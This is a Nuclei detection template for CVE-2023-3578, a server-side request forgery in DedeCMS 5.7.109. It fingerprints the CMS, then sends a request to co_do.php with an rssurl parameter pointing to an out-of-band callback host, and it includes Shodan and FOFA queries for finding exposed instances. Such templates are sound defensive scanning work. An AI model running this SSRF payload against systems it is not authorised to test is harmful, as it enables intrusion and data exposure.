id: CVE-2023-3578

info:
  name: DedeCMS 5.7.109 - Server-Side Request Forgery
  author: ritikchaddha
  severity: critical
  description: |
    Manipulation of the rssurl parameter in co_do.php leads to server-side request forgery in DedeCMS version 5.7.109.
  impact: |
    Successful exploitation could lead to sensitive data exposure, server-side request forgery, and potential server compromise.
  remediation: |
    Apply the vendor-supplied patch or update to a non-vulnerable version of DedeCMS.
  reference:
    - https://github.com/nightcloudos/cve/blob/main/SSRF.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3578
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3578
    cwe-id: CWE-918
    epss-score: 0.03409
    epss-percentile: 0.87323
    cpe: cpe:2.3:a:dedecms:dedecms:5.7.109:*:*:*:*:*:*:*
  metadata:
    vendor: dedecms
    product: dedecms
    shodan-query: http.html:"DedeCms"
    fofa-query: app="DedeCMS"
  tags: cve,cve2023,dedecms,ssrf,oast,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: response
        words:
          - "DedeCms"
        case-insensitive: true

  - raw:
      - |
        GET /co_do.php?rssurl=https://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"
# digest: 4b0a00483046022100839b4b1b99d5eb840570735e3c03665065295256bae7261fda17adb72571702e022100fb32ac6745980cd6bb3f742312aac1cb6198e165f41d5932e2e321a4b1e3dc87:922c64590222798bb761d5b6d8e72950